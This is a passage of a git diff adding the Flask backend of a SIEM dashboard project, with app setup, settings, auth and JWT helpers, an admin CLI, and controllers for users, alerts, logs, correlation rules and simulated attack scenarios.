= false +split_before_closing_bracket = true +split_all_comma_separated_values = true +split_all_top_level_comma_separated_values = false +coalesce_brackets = false +each_dict_entry_on_separate_line = true +allow_multiline_lambdas = false +allow_multiline_dictionary_keys = false +split_penalty_import_names = 0 +join_multiple_lines = false +align_closing_bracket_with_visual_indent = true +arithmetic_precedence_indication = false +split_penalty_for_added_line_split = 275 +use_tabs = false +split_before_dot = false +split_arguments_when_comma_terminated = true +i18n_function_call = ['_', 'N_', 'gettext', 'ngettext'] +i18n_comment = ['# Translators:', '# i18n:'] +split_penalty_comprehension = 80 +split_penalty_after_opening_bracket = 280 +split_penalty_before_if_expr = 0 +split_penalty_bitwise_operator = 290 +split_penalty_logical_operator = 0 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py new file mode 100644 index 00000000..9d80e39e --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py @@ -0,0 +1,59 @@ +""" +©AngelaMos | 2026 +__init__.py +""" + +from flask import Flask +from flask_cors import CORS + +from app.config import settings + + +def create_app() -> Flask: + """ + Application factory that + wires up all extensions and blueprints + """ + app = Flask(__name__) + app.config.from_mapping( + MONGO_URI = settings.MONGO_URI, + MONGO_DB = settings.MONGO_DB, + REDIS_URL = settings.REDIS_URL, + SECRET_KEY = settings.SECRET_KEY, + DEBUG = settings.DEBUG, + ) + + CORS(app, origins = settings.CORS_ORIGINS) + + from app.extensions import init_mongo, init_redis + init_mongo(app) + init_redis(app) + + from app.core.errors import register_error_handlers + register_error_handlers(app) + + from app.core.rate_limiting import init_limiter + init_limiter(app) + + from app.routes import register_blueprints + register_blueprints(app) + + from app.cli import register_cli + register_cli(app) + + from app.core.streaming import ensure_consumer_group + ensure_consumer_group(settings.LOG_STREAM_KEY) + ensure_consumer_group(settings.ALERT_STREAM_KEY) + + from app.models.ScenarioRun import ScenarioRun + for orphan in ScenarioRun.get_active_runs(): + orphan.mark_stopped() + + from app.engine.correlation import start_engine + start_engine() + + @app.get("/health") + def health(): # type: ignore[no-untyped-def] + return "1" + + return app diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py b/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py new file mode 100644 index 00000000..638e0949 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py @@ -0,0 +1,60 @@ +""" +©AngelaMos | 2026 +cli.py +""" + +import click +from flask import Flask + +from app.core.auth import hash_password +from app.models.User import User, UserRole + + +@click.group("admin") +def admin_cli() -> None: + """ + Administrative commands for the SIEM platform + """ + + +@admin_cli.command("create") +@click.option("--username", required = True, help = "Admin username") +@click.option("--email", required = True, help = "Admin email address") +@click.option("--password", prompt = True, hide_input = True, confirmation_prompt = True, help = "Admin password") +def create_admin(username: str, email: str, password: str) -> None: + """ + Create a new admin account or promote an existing user + """ + existing = User.find_by_username(username) + if existing is not None: + if existing.role == UserRole.ADMIN: + click.echo(f"User '{username}' is already an admin.") + return + existing.set_role(UserRole.ADMIN) + click.echo(f"Promoted existing user '{username}' to admin.") + return + + existing_email = User.find_by_email(email) + if existing_email is not None: + if existing_email.role == UserRole.ADMIN: + click.echo(f"User with email '{email}' is already an admin.") + return + existing_email.set_role(UserRole.ADMIN) + click.echo(f"Promoted existing user '{existing_email.username}' to admin.") + return + + hashed = hash_password(password) + User.create_user( + username = username, + email = email, + password_hash = hashed, + role = UserRole.ADMIN, + ) + click.echo(f"Admin account '{username}' created successfully.") + + +def register_cli(app: Flask) -> None: + """ + Attach all CLI command groups to the Flask app + """ + app.cli.add_command(admin_cli) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/config.py b/PROJECTS/intermediate/siem-dashboard/backend/app/config.py new file mode 100644 index 00000000..f47b8169 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/config.py @@ -0,0 +1,70 @@ +""" +©AngelaMos | 2026 +config.py +""" + +from pathlib import Path +from pydantic_settings import ( + BaseSettings, + SettingsConfigDict, +) + + +class Settings(BaseSettings): + """ + Application settings loaded from environment variables + """ + model_config = SettingsConfigDict( + env_file = ".env", + env_file_encoding = "utf-8", + case_sensitive = False, + ) + + MONGO_URI: str = "mongodb://mongo:27017/siem" + MONGO_DB: str = "siem" + + REDIS_URL: str = "redis://redis:6379/0" + + SECRET_KEY: str = "change-me-in-production" + JWT_ALGORITHM: str = "HS256" + JWT_EXPIRATION_HOURS: int = 24 + + CORS_ORIGINS: list[str] = ["http://localhost:5173"] + + LOG_STREAM_KEY: str = "siem:logs" + ALERT_STREAM_KEY: str = "siem:alerts" + STREAM_MAXLEN: int = 10000 + STREAM_READ_COUNT: int = 10 + STREAM_BLOCK_MS: int = 2000 + SSE_READ_COUNT: int = 50 + SSE_BLOCK_MS: int = 3000 + CONSUMER_GROUP: str = "siem-correlation" + CONSUMER_NAME: str = "engine-1" + + SCENARIO_PLAYBOOK_DIR: str = str(Path(__file__).parent / "scenarios" / "playbooks") + SCENARIO_MIN_SPEED: float = 0.1 + SCENARIO_MAX_SPEED: float = 10.0 + + CORRELATION_COOLDOWN_SECONDS: int = 300 + CORRELATION_RULE_CACHE_SECONDS: int = 30 + CORRELATION_ERROR_BACKOFF_SECONDS: float = 1.0 + RULE_TEST_MAX_HOURS: int = 72 + + DEFAULT_PAGE_SIZE: int = 50 + MAX_PAGE_SIZE: int = 200 + + TIMELINE_DEFAULT_HOURS: int = 24 + TIMELINE_BUCKET_MINUTES: int = 15 + TOP_SOURCES_LIMIT: int = 10 + + RATELIMIT_STRATEGY: str = "moving-window" + RATELIMIT_HEADERS_ENABLED: bool = True + RATELIMIT_SWALLOW_ERRORS: bool = True + RATELIMIT_DEFAULT: str = "200/minute" + RATELIMIT_AUTH: str = "10/minute" + + LOG_LEVEL: str = "INFO" + DEBUG: bool = False + + +settings = Settings() diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/__init__.py new file mode 100644 index 00000000..e1add2a9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/__init__.py @@ -0,0 +1,4 @@ +""" +©AngelaMos | 2026 +__init__.py +""" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py new file mode 100644 index 00000000..a58416ac --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py @@ -0,0 +1,122 @@ +""" +©AngelaMos | 2026 +admin_ctrl.py +""" + +from typing import Any + +from flask import g + +from app.core.errors import ForbiddenError, NotFoundError +from app.models.User import User, UserRole +from app.schemas.auth import UserResponse + + +def list_users() -> dict[str, Any]: + """ + Paginated listing of all user accounts + """ + data = g.validated + result = User.list_all(page = data.page, per_page = data.per_page) + result["items"] = [ + UserResponse( + id = str(u.id), + username = u.username, + email = u.email, + role = u.role, + is_active = u.is_active, + ).model_dump() + for u in result["items"] + ] + return result + + +def get_user(user_id: str) -> dict[str, Any]: + """ + Retrieve a single user by ID + """ + user = User.get_by_id(user_id) + return UserResponse( + id = str(user.id), + username = user.username, + email = user.email, + role = user.role, + is_active = user.is_active, + ).model_dump() + + +def update_role(user_id: str) -> dict[str, Any]: + """ + Change a user's role with last-admin protection + """ + caller = g.current_user + target = User.get_by_id(user_id) + data = g.validated + + if str(target.id) == str(caller.id) and data.role != UserRole.ADMIN and User.count_admins() <= 1: + raise ForbiddenError("Cannot demote the last admin") + + target.set_role(data.role) + return UserResponse( + id = str(target.id), + username = target.username, + email = target.email, + role = target.role, + is_active = target.is_active, + ).model_dump() + + +def _prevent_self_action(caller: User, target: User, action: str) -> None: + """ + Block admins from deactivating or deleting their own account + """ + if str(target.id) == str(caller.id): + raise ForbiddenError(f"Cannot {action} your own account") + + +def deactivate_user(user_id: str) -> dict[str, Any]: + """ + Soft-delete a user by marking them inactive + """ + caller = g.current_user + target = User.get_by_id(user_id) + _prevent_self_action(caller, target, "deactivate") + + target.deactivate() + return UserResponse( + id = str(target.id), + username = target.username, + email = target.email, + role = target.role, + is_active = target.is_active, + ).model_dump() + + +def activate_user(user_id: str) -> dict[str, Any]: + """ + Re-enable a previously deactivated user + """ + target = User.get_by_id(user_id) + if target.is_active: + raise NotFoundError("User is already active") + + target.activate() + return UserResponse( + id = str(target.id), + username = target.username, + email = target.email, + role = target.role, + is_active = target.is_active, + ).model_dump() + + +def delete_user(user_id: str) -> dict[str, Any]: + """ + Permanently remove a user document + """ + caller = g.current_user + target = User.get_by_id(user_id) + _prevent_self_action(caller, target, "delete") + + target.hard_delete() + return {"deleted": True} diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py new file mode 100644 index 00000000..ce24c786 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py @@ -0,0 +1,70 @@ +""" +©AngelaMos | 2026 +alert_ctrl.py +""" + +from typing import Any + +from flask import Response, g + +from app.config import settings +from app.core.streaming import sse_generator +from app.models.Alert import Alert + + +def list_alerts() -> dict[str, Any]: + """ + Return paginated and filtered alerts + """ + params = g.validated + filters = {} + if params.status: + filters["status"] = params.status + if params.severity: + filters["severity"] = params.severity + + qs = Alert.objects(**filters).order_by("-created_at") + return Alert.paginate( + queryset=qs, + page=params.page, + per_page=params.per_page, + ) + + +def get_alert_detail(alert_id: str) -> dict[str, Any]: + """ + Return an alert with its matched log events + """ + alert = Alert.get_by_id(alert_id) + return alert.get_with_events() + + +def update_alert_status(alert_id: str) -> Alert: + """ + Transition an alert to a new lifecycle status + """ + data = g.validated + alert = Alert.get_by_id(alert_id) + username = None + if g.current_user: + username = g.current_user.username + alert.update_status( + status=data.status, + username=username, + notes=data.notes, + ) + return alert + + +def stream_alerts() -> Response: + """ + SSE endpoint that tails the alert Redis Stream + """ + return Response( + sse_generator(settings.ALERT_STREAM_KEY, event_type="alert"), + mimetype="text/event-stream", + headers={ + "Cache-Control": "no-cache", + "X-Accel-Buffering": "no", + }, + ) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py new file mode 100644 index 00000000..9d500ba7 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py @@ -0,0 +1,147 @@ +""" +©AngelaMos | 2026 +auth_ctrl.py +""" + +from typing import Any + +from flask import g + +from app.core.auth import ( + hash_password, + verify_password, + verify_password_timing_safe, + create_access_token, +) +from app.core.errors import ConflictError, AuthenticationError, ValidationError +from app.models.User import User +from app.schemas.auth import TokenResponse, UserResponse, UpdateProfileResponse + + +def register() -> dict[str, Any]: + """ + Register a new analyst account + """ + data = g.validated + + if User.username_exists(data.username): + raise ConflictError("Username already taken") + if User.email_exists(data.email): + raise ConflictError("Email already registered") + + hashed = hash_password(data.password) + user = User.create_user( + username = data.username, + email = data.email, + password_hash = hashed, + ) + + token = create_access_token( + user_id = str(user.id), + extra_claims = { + "username": user.username, + "role": user.role, + }, + ) + return TokenResponse( + access_token = token, + ).model_dump() + + +def login() -> dict[str, Any]: + """ + Authenticate and return a JWT + """ + data = g.validated + + user = User.find_by_username(data.username) + existing_hash = user.password_hash if user else None + is_valid, new_hash = verify_password_timing_safe(data.password, existing_hash) + + if not is_valid or user is None: + raise AuthenticationError("Invalid username or password") + + if not user.is_active: + raise AuthenticationError("Account is deactivated") + + if new_hash: + user.password_hash = new_hash + user.save() + + token = create_access_token( + user_id = str(user.id), + extra_claims = { + "username": user.username, + "role": user.role, + }, + ) + return TokenResponse( + access_token = token, + ).model_dump() + + +def update_profile() -> dict[str, Any]: + """ + Update the authenticated user's own profile fields + """ + user = g.current_user + data = g.validated + + is_valid, _ = verify_password(data.current_password, user.password_hash) + if not is_valid: + raise AuthenticationError("Current password is incorrect") + + updates: dict[str, str] = {} + + if data.username is not None and data.username != user.username: + if User.username_exists(data.username): + raise ConflictError("Username already taken") + updates["username"] = data.username + + if data.email is not None and data.email != user.email: + if User.email_exists(data.email): + raise ConflictError("Email already registered") + updates["email"] = data.email + + if data.password is not None: + updates["password_hash"] = hash_password(data.password) + + if not updates: + raise ValidationError("No fields to update") + + user.update_profile(**updates) + + new_token: str | None = None + if "username" in updates: + new_token = create_access_token( + user_id = str(user.id), + extra_claims = { + "username": user.username, + "role": user.role, + }, + ) + + return UpdateProfileResponse( + user = UserResponse( + id = str(user.id), + username = user.username, + email = user.email, + role = user.role, + is_active = user.is_active, + ), + access_token = new_token, + ).model_dump(exclude_none = True) + + +def me() -> dict[str, Any]: + """ + Return the current authenticated user profile + """ + user = g.current_user + return UserResponse( + id = str(user.id), + username = user.username, + email = user.email, + role = user.role, + is_active = user.is_active, + ).model_dump() diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py new file mode 100644 index 00000000..816abfbd --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py @@ -0,0 +1,65 @@ +""" +©AngelaMos | 2026 +dashboard_ctrl.py +""" + +from typing import Any + +from flask import g + +from app.models.Alert import Alert, AlertStatus +from app.models.LogEvent import LogEvent + + +def overview() -> dict[str, Any]: + """ + Return combined dashboard statistics + """ + alert_pipeline = [ + { + "$group": { + "_id": "$status", + "count": {"$sum": 1}, + } + }, + ] + alerts_by_status = { + doc["_id"]: doc["count"] + for doc in Alert.objects.aggregate(alert_pipeline) + } + + return { + "total_events": LogEvent.objects.count(), + "total_alerts": Alert.objects.count(), + "open_alerts": alerts_by_status.get(AlertStatus.NEW, 0) + + alerts_by_status.get(AlertStatus.ACKNOWLEDGED, 0) + + alerts_by_status.get(AlertStatus.INVESTIGATING, 0), + "alerts_by_status": alerts_by_status, + "severity_breakdown": LogEvent.severity_breakdown(), + } + + +def timeline() -> list[dict[str, Any]]: + """ + Return event counts bucketed over a time window + """ + params = g.validated + return LogEvent.timeline_aggregation( + hours=params.hours, + bucket_minutes=params.bucket_minutes, + ) + + +def severity_breakdown() -> list[dict[str, Any]]: + """ + Return event counts grouped by severity level + """ + return LogEvent.severity_breakdown() + + +def top_sources() -> list[dict[str, Any]]: + """ + Return the most frequent source IPs + """ + params = g.validated + return LogEvent.top_sources(limit=params.limit) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py new file mode 100644 index 00000000..0a9441ec --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py @@ -0,0 +1,117 @@ +""" +©AngelaMos | 2026 +log_ctrl.py +""" + +from typing import Any + +from flask import Response, g + +from app.config import settings +from app.core.streaming import publish_event, sse_generator +from app.engine.normalizer import normalize +from app.engine.severity import classify +from app.models.LogEvent import LogEvent + + +def list_logs() -> dict[str, Any]: + """ + Return paginated and filtered log events + """ + params = g.validated + filters = {} + if params.source_type: + filters["source_type"] = params.source_type + if params.severity: + filters["severity"] = params.severity + if params.source_ip: + filters["source_ip"] = params.source_ip + if params.event_type: + filters["event_type"] = params.event_type + + qs = LogEvent.objects(**filters).order_by("-timestamp") + return LogEvent.paginate( + queryset = qs, + page = params.page, + per_page = params.per_page, + ) + + +def get_log(log_id: str) -> LogEvent: + """ + Return a single log event by ID + """ + return LogEvent.get_by_id(log_id) + + +def ingest_log() -> LogEvent: + """ + Normalize, classify, persist, and publish a log event + """ + raw = g.validated.model_dump(exclude_none = True) + + normalized = normalize(raw) + severity = classify(normalized) + + event = LogEvent.create_event( + **normalized, + severity = severity, + ) + + publish_event( + settings.LOG_STREAM_KEY, + { + "id": str(event.id), + "timestamp": str(event.timestamp), + "source_type": event.source_type, + "severity": event.severity, + "event_type": event.event_type, + "source_ip": event.source_ip, + "dest_ip": event.dest_ip, + "hostname": event.hostname, + "username": event.username, + }, + ) + + return event + + +def search_logs() -> dict[str, Any]: + """ + Full text search across log events + """ + params = g.validated + return LogEvent.search( + query = params.q, + page = params.page, + per_page = params.per_page, + ) + + +def stream_logs() -> Response: + """ + SSE endpoint that tails the log Redis Stream + """ + return Response( + sse_generator(settings.LOG_STREAM_KEY, + event_type = "log"), + mimetype = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "X-Accel-Buffering": "no", + }, + ) + + +def pivot() -> list[Any]: + """ + Forensic pivot by IP, username, or hostname + """ + params = g.validated + if params.ip: + return LogEvent.get_by_source_ip(params.ip) + if params.username: + return LogEvent.get_by_username(params.username) + if params.hostname: + return LogEvent.get_by_hostname(params.hostname) + return [] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py new file mode 100644 index 00000000..bf369338 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py @@ -0,0 +1,118 @@ +""" +©AngelaMos | 2026 +rule_ctrl.py +""" + +from typing import Any +from datetime import datetime, timedelta, UTC + +from flask import g + +from app.engine.correlation import ( + CorrelationState, + evaluate_rule, +) +from app.models.CorrelationRule import CorrelationRule +from app.models.LogEvent import LogEvent + + +def list_rules() -> list[Any]: + """ + Return all correlation rules + """ + return list(CorrelationRule.objects.order_by("-created_at")) # type: ignore[no-untyped-call] + + +def get_rule(rule_id: str) -> CorrelationRule: + """ + Return a single correlation rule by ID + """ + return CorrelationRule.get_by_id(rule_id) + + +def create_rule() -> CorrelationRule: + """ + Create a new correlation rule from validated request data + """ + data = g.validated + rule = CorrelationRule( + name=data.name, + description=data.description, + rule_type=data.rule_type, + conditions=data.conditions, + severity=data.severity, + enabled=data.enabled, + mitre_tactic=data.mitre_tactic, + mitre_technique=data.mitre_technique, + ) + rule.save() # type: ignore[no-untyped-call] + return rule + + +def update_rule(rule_id: str) -> CorrelationRule: + """ + Partially update an existing correlation rule + """ + data = g.validated + rule = CorrelationRule.get_by_id(rule_id) + updates = data.model_dump(exclude_none=True) + for field_name, value in updates.items(): + setattr(rule, field_name, value) + rule.save() # type: ignore[no-untyped-call] + return rule + + +def delete_rule(rule_id: str) -> dict[str, Any]: + """ + Delete a correlation rule by ID + """ + rule = CorrelationRule.get_by_id(rule_id) + rule.delete() # type: ignore[no-untyped-call] + return {"deleted": True} + + +def test_rule(rule_id: str) -> dict[str, Any]: + """ + Simulate a rule against historical log events and return matches + """ + data = g.validated + rule = CorrelationRule.get_by_id(rule_id) + + cutoff = datetime.now(UTC).replace( + second=0, microsecond=0, + ) + since = cutoff - timedelta(hours=data.hours) + + events = LogEvent.objects(timestamp__gte=since).order_by("timestamp") # type: ignore[no-untyped-call] + + state = CorrelationState() + alerts_fired: list[dict[str, Any]] = [] + + for event in events: + event_data = { + "id": str(event.id), + "timestamp": str(event.timestamp), + "source_type": event.source_type, + "severity": event.severity, + "event_type": event.event_type, + "source_ip": event.source_ip, + "dest_ip": event.dest_ip, + "hostname": event.hostname, + "username": event.username, + } + + result = evaluate_rule(rule, event_data, state) + if result: + alerts_fired.append({ + "group_value": result.group_value, + "matched_event_count": len(result.matched_event_ids), + "matched_event_ids": result.matched_event_ids, + }) + + return { + "rule_id": str(rule.id), + "rule_name": rule.name, + "events_evaluated": events.count(), # type: ignore[no-untyped-call] + "alerts_would_fire": len(alerts_fired), + "alerts": alerts_fired, + } diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py new file mode 100644 index 00000000..f86a9b62 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py @@ -0,0 +1,75 @@ +""" +©AngelaMos | 2026 +scenario_ctrl.py +""" + +from typing import Any + +from flask import g + +from app.models.ScenarioRun import ScenarioRun +from app.scenarios.playbook import Playbook +from app.scenarios.runner import ScenarioRunner + + +def list_available() -> list[dict[str, Any]]: + """ + Return metadata for all available playbook files + """ + return Playbook.list_available() + + +def list_running() -> list[Any]: + """ + Return all active scenario runs + """ + return ScenarioRun.get_active_runs() + + +def start_scenario() -> ScenarioRun: + """ + Load a playbook and start a new scenario thread + """ + data = g.validated + return ScenarioRunner.start(data.filename) + + +def stop_scenario(run_id: str) -> ScenarioRun: + """ + Stop an active scenario run + """ + run = ScenarioRun.get_by_id(run_id) + ScenarioRunner.stop(str(run.id)) + run.reload() # type: ignore[no-untyped-call] + return run + + +def pause_scenario(run_id: str) -> ScenarioRun: + """ + Pause an active scenario run + """ + run = ScenarioRun.get_by_id(run_id) + ScenarioRunner.pause(str(run.id)) + run.reload() # type: ignore[no-untyped-call] + return run + + +def resume_scenario(run_id: str) -> ScenarioRun: + """ + Resume a paused scenario run + """ + run = ScenarioRun.get_by_id(run_id) + ScenarioRunner.resume(str(run.id)) + run.reload() # type: ignore[no-untyped-call] + return run + + +def set_speed(run_id: str) -> ScenarioRun: + """ + Adjust the playback speed of an active scenario + """ + data = g.validated + run = ScenarioRun.get_by_id(run_id) + ScenarioRunner.set_speed(str(run.id), data.speed) + run.reload() # type: ignore[no-untyped-call] + return run diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/__init__.py new file mode 100644 index 00000000..e1add2a9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/__init__.py @@ -0,0 +1,4 @@ +""" +©AngelaMos | 2026 +__init__.py +""" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py new file mode 100644 index 00000000..cbebd178 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py @@ -0,0 +1,110 @@ +""" +©AngelaMos | 2026 +auth.py +""" + +from typing import Any +from datetime import ( + datetime, + timedelta, + UTC, +) + +import jwt +from flask import request +from pwdlib import PasswordHash + +from app.config import settings + + +password_hasher = PasswordHash.recommended() + +DUMMY_HASH = password_hasher.hash("dummy_password_for_timing_attack_prevention") + + +def hash_password(password: str) -> str: + """ + Hash a plaintext password with Argon2id + """ + return password_hasher.hash(password) + + +def verify_password( + plain_password: str, + hashed_password: str, +) -> tuple[bool, + str | None]: + """ + Verify password and return new hash if Argon2 params are outdated + """ + try: + return password_hasher.verify_and_update( + plain_password, + hashed_password, + ) + except Exception: + return False, None + + +def verify_password_timing_safe( + plain_password: str, + hashed_password: str | None, +) -> tuple[bool, + str | None]: + """ + Verify with constant-time behavior to prevent user enumeration + """ + if hashed_password is None: + password_hasher.verify(plain_password, DUMMY_HASH) + return False, None + return verify_password(plain_password, hashed_password) + + +def create_access_token( + user_id: str, + extra_claims: dict[str, + Any] | None = None, +) -> str: + """ + Create a signed JWT with user_id as subject + """ + now = datetime.now(UTC) + payload: dict[str, + Any] = { + "sub": user_id, + "iat": now, + "exp": now + timedelta( + hours = settings.JWT_EXPIRATION_HOURS, + ), + } + if extra_claims: + payload.update(extra_claims) + return jwt.encode( + payload, + settings.SECRET_KEY, + algorithm = settings.JWT_ALGORITHM, + ) + + +def decode_access_token(token: str) -> dict[str, Any]: + """ + Decode and validate a JWT returning the payload + """ + return jwt.decode( # type: ignore[no-any-return] + token, + settings.SECRET_KEY, + algorithms = [settings.JWT_ALGORITHM], + options = {"require": ["exp", + "sub", + "iat"]}, + ) + + +def extract_bearer_token() -> str | None: + """ + Extract JWT from Authorization header or query param fallback for SSE + """ + auth_header = request.headers.get("Authorization", "") + if auth_header.startswith("Bearer "): + return auth_header[7 :] + return request.args.get("token") diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/__init__.py new file mode 100644 index 00000000..2c636154 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/__init__.py @@ -0,0 +1,11 @@ +""" +©AngelaMos | 2026 +decorators/__init__.py +""" + +from app.core.decorators.endpoint import endpoint +from app.core.decorators.response import R +from app.core.decorators.schema import S + + +__all__ = ["R", "S", "endpoint"] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py new file mode 100644 index 00000000..cd741fbf --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py @@ -0,0 +1,88 @@ +""" +©AngelaMos | 2026 +endpoint.py +""" + +import functools +from typing import Any +from collections.abc import Callable, Sequence + +import structlog +from flask import g, jsonify + +from app.core.errors import AppError, AuthenticationError, ForbiddenError +from app.core.auth import decode_access_token, extract_bearer_token +from app.models.User import User + + +logger = structlog.get_logger() + + +def endpoint( + auth_required: bool = True, + roles: Sequence[str] | None = None, +) -> Callable[..., Any]: + """ + Outermost decorator that provides auth extraction, role gating, + and an error boundary + """ + effective_auth = auth_required or roles is not None + + def decorator(fn: Callable[..., Any]) -> Callable[..., Any]: + @functools.wraps(fn) + def wrapper(*args: Any, **kwargs: Any) -> Any: + try: + _resolve_auth(effective_auth) + if roles is not None: + _enforce_roles(roles) + return fn(*args, **kwargs) + except AppError: + raise + except Exception: + logger.exception( + "unhandled_error", + endpoint = fn.__name__, + ) + return jsonify({ + "error": "InternalServerError", + "message": "Internal server error", + }), 500 + + return wrapper + + return decorator + + +def _resolve_auth(required: bool) -> None: + """ + Extract JWT and load user onto flask g or raise if required + """ + g.current_user = None + token = extract_bearer_token() + if not token: + if required: + raise AuthenticationError() + return + + try: + payload = decode_access_token(token) + except Exception as exc: + if required: + raise AuthenticationError("Invalid or expired token") from exc + return + + user = User.get_or_none(payload["sub"]) + if user is None: + if required: + raise AuthenticationError("User not found") + return + g.current_user = user + + +def _enforce_roles(allowed: Sequence[str]) -> None: + """ + Verify the authenticated user holds one of the required roles + """ + user = g.current_user + if user is None or user.role not in allowed: + raise ForbiddenError() diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py new file mode 100644 index 00000000..55fc5bb4 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py @@ -0,0 +1,42 @@ +""" +©AngelaMos | 2026 +response.py +""" + +import functools +from typing import Any +from collections.abc import Callable + +from flask import Response, jsonify + +from app.core.serialization import auto_serialize + + +def R(status: int = 200) -> Callable[..., Any]: # noqa: N802 + """ + Auto-serialize the return value into a JSON response + """ + def decorator(fn: Callable[..., Any]) -> Callable[..., Any]: + @functools.wraps(fn) + def wrapper(*args: Any, **kwargs: Any) -> Any: + result = fn(*args, **kwargs) + return _build_response(result, status) + + return wrapper + + return decorator + + +def _build_response( + result: Any, + default_status: int, +) -> Any: + """ + Dispatch on return type to produce the correct Flask response + """ + if isinstance(result, Response): + return result + if isinstance(result, tuple): + data, code = result + return jsonify(auto_serialize(data)), code + return jsonify(auto_serialize(result)), default_status diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py new file mode 100644 index 00000000..2db757c3 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py @@ -0,0 +1,78 @@ +""" +©AngelaMos | 2026 +schema.py +""" + +import functools +from typing import Any, Literal +from collections.abc import Callable + +from flask import g, request +from pydantic import ( + BaseModel, + ValidationError as PydanticValidationError, +) +from app.core.errors import ValidationError + + +def S( # noqa: N802 + schema_class: type[BaseModel], + source: Literal["auto", + "query", + "body"] = "auto", +) -> Callable[..., Any]: + """ + Validate request data with Pydantic and store on g.validated + """ + def decorator(fn: Callable[..., Any]) -> Callable[..., Any]: + @functools.wraps(fn) + def wrapper(*args: Any, **kwargs: Any) -> Any: + raw = _extract_data(source) + try: + g.validated = schema_class.model_validate(raw) + except PydanticValidationError as exc: + raise ValidationError( + message = "Validation failed", + errors = [ + { + "field": ".".join(str(loc) for loc in e["loc"]), + "message": e["msg"], + "type": e["type"], + } for e in exc.errors() + ], + ) from exc + return fn(*args, **kwargs) + + return wrapper + + return decorator + + +def _extract_data( + source: Literal["auto", + "query", + "body"], +) -> dict[str, + Any]: + """ + Pull raw data from the request based on the declared source + """ + if source == "query": + return dict(request.args) + if source == "body": + return _get_body() + if source == "auto": + if request.method in ("GET", "DELETE", "HEAD", "OPTIONS"): + return dict(request.args) + return _get_body() + return {} + + +def _get_body() -> dict[str, Any]: + """ + Extract JSON body from the request or return empty dict + """ + data = request.get_json(silent = True) + if data is None: + return {} + return data # type: ignore[no-any-return] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py new file mode 100644 index 00000000..b3e66a00 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py @@ -0,0 +1,111 @@ +""" +©AngelaMos | 2026 +errors.py +""" + +from typing import Any + +from flask import Flask, jsonify + + +class AppError(Exception): + """ + Base application error with HTTP status code + """ + status_code: int = 500 + message: str = "Internal server error" + + def __init__( + self, + message: str | None = None, + status_code: int | None = None, + ) -> None: + super().__init__(message or self.message) + if message: + self.message = message + if status_code: + self.status_code = status_code + + +class NotFoundError(AppError): + """ + Raised when a requested resource does not exist + """ + status_code = 404 + message = "Resource not found" + + +class ValidationError(AppError): + """ + Raised when input data fails 